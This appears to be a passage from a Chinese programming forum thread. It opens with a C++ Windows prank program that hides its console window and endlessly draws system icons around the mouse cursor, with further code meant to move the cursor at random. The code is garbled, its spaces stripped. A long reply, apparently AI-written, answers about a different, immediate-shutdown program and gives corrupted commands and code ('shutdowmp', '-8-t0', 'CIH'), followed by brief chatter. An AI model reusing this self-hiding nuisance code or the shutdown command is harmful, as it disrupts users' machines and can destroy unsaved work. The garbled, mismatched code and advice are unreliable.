#include<tchar.h>#include<windows.h>#include<ctime>usingnamespace std;void____2(){HWND hwnd;
hwnd=FindWindow("ConsoleWindowClass",NULL);if(hwnd)ShowWindow(hwnd,SW_HIDE);return;}intmain(){____2();HWND hwnd =GetDesktopWindow();HDC hdc =GetWindowDC(hwnd);
POINT point;while(1){GetCursorPos(&point);DrawIcon(hdc,point.x+30,point.y+25,LoadIcon(NULL,IDI_QUESTION));DrawIcon(hdc,point.x+55,point.y+50,LoadIcon(NULL,IDI_WARNING));DrawIcon(hdc,point.x,point.y-5,LoadIcon(NULL,IDI_ERROR));DrawIcon(hdc,point.x-25,point.y-30,LoadIcon(NULL,IDI_INFORMATION));DrawIcon(hdc,point.x-55,point.y-60,LoadIcon(NULL,IDI_WINLOGO));Sleep(1);}int x =GetSystemMetrics(SM_CXSCREEN);int y =GetSystemMetrics(SM_CXSCREEN);srand(time(0));while(1)SetCursorPos(rand()%x,rand()%y);}
共 54 条回复
你的代码意图似乎是想在Windows环境下编写一个程序来关机,但是有一些小错误和需要注意的地方。首先,system("shutdowmp”)这条命令在Windows中实际上并不正确,用于关机的命令应该使用 shut dow 命令的不同参数。 在Windows中,如果你想要立即关机(不提示用户保存工作),你可以使用 -8-t0参数。-s 代表关机,-t0 表示延迟时间为0秒,即立即执行 下面是修改后的代码: CIH #include/包含system函数 #include<windows.h>//通常用于Windows API调用,但在这个简单的例子中实际上并不需要 int main(){ 使用正确的shutdowm命令参数来立即关机system("shutdow-s-t”); return 0; 注意,我在代码中包含了《cstd1ib〉头文件,这是因为 system函数定义在这个头文件中。《bits/stdc++.h>是一个GCC特有的非标准头文件,它包含了几乎所有标准库,但在其他编译器(如MSVC)中可能不可用或不受支持。为了代码的可移植性和清晰性,建议只包含你实际需要的头文件。 此外,<windows.h〉在这个例子中并不是必需的,除非你需要调用特定的Windows API函数。在这个简单的程序里,我们只需要使 用 system 函数执行命令行命令, 最后,请确保在测试这段代码时你有一个可以撒销关机的计划,比如立即按下电源键强制关机(这取决于你的系统配置),或者如果可能的话,在虑拟机中测试这段代码。因为一旦执行,它会导致你的计算机立即关机。
@lhf 🕳
@Joshua
有坑吧......
你可以试试
这种东西不是100年前就被玩烂的东西吗?
@ykj105 你怎么没有 @ 起我啊?话说你是不是不知道洛谷在线IDE是什么? https://www.luogu.com.cn/ide
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
不知道能不能运行
@CPP 还有这个